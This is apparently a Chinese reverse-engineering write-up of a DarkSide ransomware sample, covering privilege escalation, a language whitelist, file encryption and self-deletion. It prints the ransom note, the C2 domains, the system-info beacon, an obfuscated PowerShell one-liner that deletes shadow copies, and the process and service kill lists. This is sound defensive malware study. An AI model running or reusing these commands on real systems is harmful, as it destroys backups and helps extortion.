DarksideRansomware

DarksideRansomware样本分析

样本信息

本次分析的样本来源于MALWAREbazaar。具体的SHA、MD5如下:

SHA256 hash:151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5
SHA1 hash:eeb28144f39b275ee1ec008859e80f215710dc57
MD5 hash:9d418ecc0f3bf45029263b0944236884

本次分析的环境是:windows 7 ultimate sp1 x64

样本分析

去除重定位

因为是在win7上做调试,使用LordPE关闭程序的重定位(为了方便写注释),由于该样本逻辑并不复杂,所以也可以不做这一步。

(注:为方便区分,关闭重定向后的样本名为:Darkside.exe)

普通用户权限运行样本

从函数功能及运行流程可以得出:当样本感染了一台主机后,会动态加载自身所需的dll,接着释放使用的字符串,然后判断当前执行权限是否是admin权限,如果不是,则进行提权,然后用管理员权限重载自身。

加载dll函数

dll的加载又解密函数解密dll名称,再使用loardlibrary加载。解密函数核心流程如下:

最后解出来的dll名称为:

ntdll,kernel32,advapi32,shell32,ole32,oleaut32,mpr,iphlpapi,shlwapi,gdi32,user32,netapi32,wsock32,wininet,wtsapi32

字符串解析

以下就是字符串解析的核心算法:

当解密函数运行结束,可以看到以下调用关系:

手动导出字符串,内容如下:

$recycle.bin,config.msi,$windows.~bt,$windows.~ws,windows,appdata,application data,boot,google,mozilla,program files,program files (x86),programdata,system volume information,tor browser,windows.old,intel,msocache,perflogs,x64dbg,public,all users,default

autorun.inf,boot.ini,bootfont.bin,bootsect.bak,desktop.ini,iconcache.db,ntldr,ntuser.dat,ntuser.dat.log,ntuser.ini,thumbs.db

386,adv,ani,bat,bin,cab,cmd,com,cpl,cur,deskthemepack,diagcab,diagcfg,diagpkg,dll,drv,exe,hlp,icl,icns,ico,ics,idx,ldf,lnk,mod,mpa,msc,msp,msstyles,msu,nls,nomedia,ocx,prf,ps1,rom,rtp,scr,shs,spl,sys,theme,themepack,wpx,lock,key,hta,msi,pdb

backup

sql,sqlite

vmcompute.exe,vmms.exe,vmwp.exe,svchost.exe,TeamViewer.exe,explorer.exe

sql,oracle,ocssd,dbsnmp,synctime,agntsvc,isqlplussvc,xfssvccon,mydesktopservice,ocautoupds,encsvc,firefox,tbirdconfig,mydesktopqos,ocomm,dbeng50,sqbcoreservice,excel,infopath,msaccess,mspub,onenote,outlook,powerpnt,steam,thebat,thunderbird,visio,winword,wordpad,notepad

vss,sql,svc$,memtas,mepocs,sophos,veeam,backup,GxVss,GxBlr,GxFWD,GxCVD,GxCIMgr

securebestapp20.com,temisleyes.com

All of your files are encrypted! Find %s and Follow Instructions!

----------- [ Welcome to DarkSide ] ------------->

What happend?
----------------------------------------------
Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. .. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network
Follow our instructions below and you will recover all your data.

What guarantees?
----------------------------------------------
We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests.
All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems.
We guarantee to decrypt one file for free. Go to the site and contact us.

How to get access on website?
----------------------------------------------
Using a TOR browser:
1) Download and install TOR browser from this site: https://torproject.org/
2) Open our website: http://darksidfqzcuhtk2.onion/CZEX8E0GR0AO4ASUCJE1K824OKJA1G24B8B3G0P84LJTTE7W8EC86JBE7NBXLMRT

When you open our website, put the following data in the input form:
Key
:0kZdK3HQhsAkUtvRl41QkOdpJvzcWnCrBjjgg5U4zfuWeTnZR5Ssjd3QLHpmbjxjo7uWzKbt8qPVuYN38TsDPI3bemd5I40ksemIzuI5OhIHZsi9cn3Wpd7OUT72FP9MyAUzR586yMsI2Ygri9in0Bf4EkG0pmBOLyRG1T788foGJQW1WxS1Qd2sMVvX0jKlbGG1zLp7g0u6buDCzSMyTjWjuVzJYufBBv7S2XvciEVvboiTNbZA4UUU6PttKERQSb018aILd6xO3ulk6fbEgZDO5tZSGn2zRevn5YXnHtg6vt1ToLe3izQOgYbs8Ja1fkfJBUYVux1ITyWBjpn0xPayKfwln8SqgMkbqiDyxEDEtFhqiffLcONMhi4TmW50loZIC6mWSaOjThWp6XSJUWPtY8Mkzs8Cs0qjPahx58iAEVIRGUVpLkMs7xPN7ydZ6wMWaOcRC1AD1JEUVTjLikXXyckgYaS6FnEv0UNEsv6QbTLSpDomIg3rEYZBib6ozrwH5n0M5wrKo8NciUBmfJWDP4XKkjznpsa05rEpuAklM0dMmZsYGVR

!!! DANGER !!!
DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them.
!!! DANGER !!!

访问令牌读取函数

进入函数内部,根据api调用情况可以看到该函数结构简单:

这里有两个判断较为重要

cmp dword ptr ds:[eax+0x8], 0x20
cmp dword ptr ds:[eax+0xC], 0x220

在微软官方的安全标识符说明中可以找到sid的值为32和544的角色权限分别如下:

如果没有这两个权限,那么将不会进行uac提权。

提权和重载自身函数

该部分均为api调用,较为简单明了。

管理员权限运行样本

当样本获得了管理员权限,那么自然是要进行加密操作了,在此之前,它将会通过crc32计算后缀名用于图标生成和加密文件字符串添加;检索本地语言;发送信息至服务器;删除本地卷影;检索本地磁盘空闲空间;加密所有文件;自我删除。

后缀名生成函数

该函数主要是crc32计算。图标的名字来源于uuid,通过了4次crc32计算

crc32计算函数如下:

本地语言判断函数

样本会获取本地默认ui语言区域格式语言,如果是白名单内的语言,则退出,不是则进行下一步。语言判断函数部分核心如下:

Windows语言代码标识符(LCID)参考中得知,本地语言所有判断如下:

序号 语言代码(hex) 标识符 语种
1 419 ru-RU 俄语
2 422 uk-UA 乌克兰语
3 423 be-BY 白俄罗斯语
4 428 tg-Cyrl-TJ 塔吉克语(西里尔文)
5 42B hy-AM 亚美尼亚语
6 42C az-Latn-AZ 阿塞拜疆语(拉丁语)
7 437 ka-GE 格鲁吉亚语
8 43F kk-KZ 哈萨克语
9 440 ky-KG 吉尔吉斯语
10 442 tk-TM 土库曼语(拉丁语)
11 443 uz-Latn-UZ 乌兹别克语(拉丁语)
12 444 tt-RU 塔塔尔语(西里尔文)
13 818 ro-MD 罗马尼亚语(摩尔多瓦)
14 819 ru-MD 俄语(摩尔多瓦)
15 82C az-Cyrl-AZ 阿塞拜疆语(西里尔文)
16 843 uz-Cyrl-UZ 乌兹别克语(西里尔文)
17 2801 ar-SY 阿拉伯语(叙利亚)

发送信息至服务器函数

将本地的系统相关信息发送到攻击者的服务器:json格式内容如下:

{
	"bot":{
	"ver":"1.8.6.2",
	"uid":"060108efb510c98"
	},
	"os":{
	"lang":"zh-CN",
	"username":"alee",
	"hostname":"WIN-B1ESUN1R9U8",
	"domain":"WORKGROUP",
	"os_type":"windows",
	"os_version":"Windows 7 Ultimate",
	"os_arch":"x64",
	"disks":"C:72/99",
	"id":"826dfd7bd5985bdbd259"
	}
}

服务器为:securebestapp20.com

删除本地卷影

核心代码如下:

powershell命令如下:

40B5E2:L"powershell -ep bypass -c \"(0..61)|%{{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))}};iex $s\""

将十六进制转换成字符串如下:

Get-WmiObject Win32_Shadowcopy | ForEach-Object {$_.Delete();}

检索本地磁盘空闲空间

空闲空间检索存在两个判断,但至少保证有100mb才会进行下一步。

加密所有文件

从动态调试中可以找到加密主函数的地址,在ida中呈现如下:

进入其中可发现流程如下:

进入加密流程可以看到:会检索文件结构,然后递归对文件进行加密。

深入到加密操作中,发现会首先进行是否加密判断,未加密则重命名:

对文件内容进行rsa1028加密,并生成加密文件:

自我删除

自我删除的主函数如下:

使用Procmon检测到的指令如下:

"C:\Windows\system32\cmd.exe" /C DEL /F /Q C:\Users\alee\Desktop\DARKSI~1\Darkside.exe >> NUL

在命令行使用cmd /?可以了解到:

/C      执行字符串指定的命令然后终止
/Q      关闭回显
/F      启用文件和目录名完成字符

总结

这是我第二次做样本分析,其中遇到了很多问题,api的熟悉度这个是一个经验问题,另外两个问题是最为严重的:

  • ida动态链接库的引入
  • 由汇编代码判断加密方式

第一个问题如果不是有现成的idapython脚本,那我将不可能完成本次分析,所以深入了解idapython 脚本的编写是很有必要的;

第二个问题则需要通过对更多样本的分析,或自我构建加密程序进行分析才能够弥补差距。后续将采用两种方式并进的模式进行能力增强。

最后本次分析参考了很多前辈分享的资料,感谢大家的无私分享。

参考资料:https://chuongdong.com/reverse%20engineering/2021/05/06/DarksideRansomware/